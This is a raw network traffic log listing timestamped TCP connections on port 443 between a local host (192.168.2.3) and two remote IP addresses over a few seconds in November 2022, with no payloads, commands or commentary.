Nov 24, 2022 16:58:27.422266006 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.472661018 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.472877026 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.479221106 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.479252100 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.479849100 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.480634928 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.481271982 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.481288910 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.521518946 CET	49762	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.521596909 CET	443	49762	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.522953987 CET	49762	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.523355961 CET	49762	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.523391962 CET	443	49762	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.523504972 CET	443	49762	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.587054968 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.589596033 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.589658976 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.593574047 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.599060059 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.599183083 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.599435091 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.599545956 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.599545956 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.712935925 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.713052988 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.713330030 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.715856075 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.715889931 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.756093025 CET	49764	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.756165981 CET	443	49764	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.756442070 CET	49764	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.756655931 CET	49764	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.756694078 CET	443	49764	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.756895065 CET	443	49764	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.760849953 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.760946989 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.815402985 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.815438032 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.816404104 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.817297935 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.821233034 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.821266890 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.933665037 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.933757067 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.933758974 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.934192896 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.934750080 CET	49763	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.934783936 CET	443	49763	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.046518087 CET	49765	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.046593904 CET	443	49765	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.046766043 CET	49765	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.437407970 CET	49765	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.437484026 CET	443	49765	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.437650919 CET	443	49765	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.594770908 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.594827890 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.594912052 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.598439932 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.598469973 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.647800922 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.647942066 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.651837111 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.651881933 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.655740023 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.655769110 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.706063032 CET	49767	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.706144094 CET	443	49767	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.706315994 CET	49767	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.706613064 CET	49767	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.706646919 CET	443	49767	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.706744909 CET	443	49767	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.757796049 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.759643078 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.759679079 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.759743929 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.784636021 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.784796000 CET	443	49766	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.785063028 CET	49766	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.913727999 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.913780928 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.913878918 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.914442062 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:28.914470911 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.924674034 CET	49769	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.924731970 CET	443	49769	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.924839973 CET	49769	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.929971933 CET	49769	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:28.930010080 CET	443	49769	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.930102110 CET	443	49769	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:28.971911907 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:28.972012997 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.005707979 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.005752087 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.006655931 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.007385015 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.016366005 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.016388893 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.086221933 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.086374998 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.086478949 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.086776972 CET	49768	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.086838961 CET	443	49768	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.180871010 CET	49770	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.180938959 CET	443	49770	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.181071997 CET	49770	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.491502047 CET	49770	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.491554976 CET	443	49770	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.491729975 CET	443	49770	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.607913971 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.607981920 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.609186888 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.609714985 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.609746933 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.661215067 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.665802002 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.670931101 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.670958996 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.675002098 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.675024986 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.707068920 CET	49772	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.707112074 CET	443	49772	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.707191944 CET	49772	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.712646961 CET	49772	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.712682009 CET	443	49772	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.712764978 CET	443	49772	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.777386904 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.777874947 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.777898073 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.777960062 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.782651901 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.782766104 CET	443	49771	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.782915115 CET	49771	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.906176090 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.906261921 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.906364918 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.914161921 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:29.914211035 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.924952984 CET	49774	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.924988985 CET	443	49774	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.925054073 CET	49774	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.925405979 CET	49774	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:29.925421953 CET	443	49774	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.925519943 CET	443	49774	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:29.971231937 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:29.971312046 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.023850918 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.023909092 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.024714947 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.024987936 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.067440987 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.067461014 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.145273924 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.145432949 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.145447969 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.145504951 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.145699024 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.145777941 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.146071911 CET	443	49773	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.146143913 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.146373987 CET	49773	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.454411983 CET	49775	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.454488993 CET	443	49775	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.454591036 CET	49775	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.454945087 CET	49775	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.454991102 CET	443	49775	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.455104113 CET	443	49775	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.590357065 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.590435028 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.590594053 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.591321945 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.591358900 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.642595053 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.642781973 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.659960032 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.660023928 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.660630941 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.660739899 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.664798975 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.664840937 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.691203117 CET	49777	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.691278934 CET	443	49777	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.693283081 CET	49777	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.693974018 CET	49777	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.694008112 CET	443	49777	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.694144964 CET	443	49777	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.762602091 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.762759924 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.762831926 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.762923002 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.775949001 CET	49776	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.776007891 CET	443	49776	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.892560959 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.892641068 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.892749071 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.895220995 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.895258904 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.909734011 CET	49779	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.909806013 CET	443	49779	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.909904003 CET	49779	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.910284996 CET	49779	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:30.910312891 CET	443	49779	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.910409927 CET	443	49779	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:30.945327044 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.945435047 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.980305910 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.980340958 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:30.986753941 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:30.986778021 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.072312117 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.072509050 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.072629929 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.077943087 CET	49778	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.077985048 CET	443	49778	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.143834114 CET	49780	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.143883944 CET	443	49780	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.144035101 CET	49780	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.144347906 CET	49780	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.144367933 CET	443	49780	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.144475937 CET	443	49780	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.219372988 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.219446898 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.220335960 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.223140955 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.223174095 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.272914886 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.273118019 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.276643991 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.276669979 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.280638933 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.280654907 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.299875975 CET	49782	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.299949884 CET	443	49782	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.300981045 CET	49782	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.301363945 CET	49782	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.301395893 CET	443	49782	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.301503897 CET	443	49782	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.384738922 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.384875059 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.384929895 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.384929895 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.390121937 CET	49781	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.390161037 CET	443	49781	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.472404003 CET	49783	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.472469091 CET	443	49783	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.472565889 CET	49783	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.480045080 CET	49783	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.480073929 CET	443	49783	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.480263948 CET	443	49783	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.533747911 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.533838987 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.533932924 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.534503937 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.534542084 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.588745117 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.589694977 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.590240002 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.590261936 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.594207048 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.594224930 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.643791914 CET	49785	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.643860102 CET	443	49785	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.644984007 CET	49785	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.645337105 CET	49785	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.645370960 CET	443	49785	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.645478964 CET	443	49785	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.815448999 CET	49786	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.815527916 CET	443	49786	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.815612078 CET	49786	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.818345070 CET	49786	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:31.818376064 CET	443	49786	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.818475962 CET	443	49786	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:31.867599010 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.868151903 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.868175983 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.868237019 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.873420000 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:31.873548031 CET	443	49784	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:31.873877048 CET	49784	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.396493912 CET	49787	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.396570921 CET	443	49787	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.396698952 CET	49787	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.397074938 CET	49787	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.397104979 CET	443	49787	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.397192955 CET	443	49787	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.433682919 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.433758974 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.433865070 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.441473961 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.441534996 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.497600079 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.497723103 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.517807007 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.517872095 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.518625975 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.519309998 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.519993067 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.520008087 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.629312992 CET	49789	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.629378080 CET	443	49789	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.629470110 CET	49789	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.642396927 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.642493010 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.642538071 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.642605066 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.646339893 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.646492958 CET	443	49788	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.646579027 CET	49788	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.646689892 CET	49789	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.646763086 CET	443	49789	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.646853924 CET	443	49789	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.849462986 CET	49790	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.849541903 CET	443	49790	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.849644899 CET	49790	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.850030899 CET	49790	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:32.850064039 CET	443	49790	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.850164890 CET	443	49790	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:32.858244896 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.858313084 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.858395100 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.858975887 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.859010935 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.947452068 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.947659969 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.977891922 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.977961063 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.978703976 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:32.979029894 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.979459047 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:32.979471922 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.082803965 CET	49792	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.082902908 CET	443	49792	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.084186077 CET	49792	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.084481955 CET	49792	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:33.084522963 CET	443	49792	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.084604025 CET	443	49792	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:33.092495918 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.092649937 CET	49791	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:33.092694998 CET	443	49791	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:33.092776060 CET	49791	443	192.168.2.3	172.66.43.60
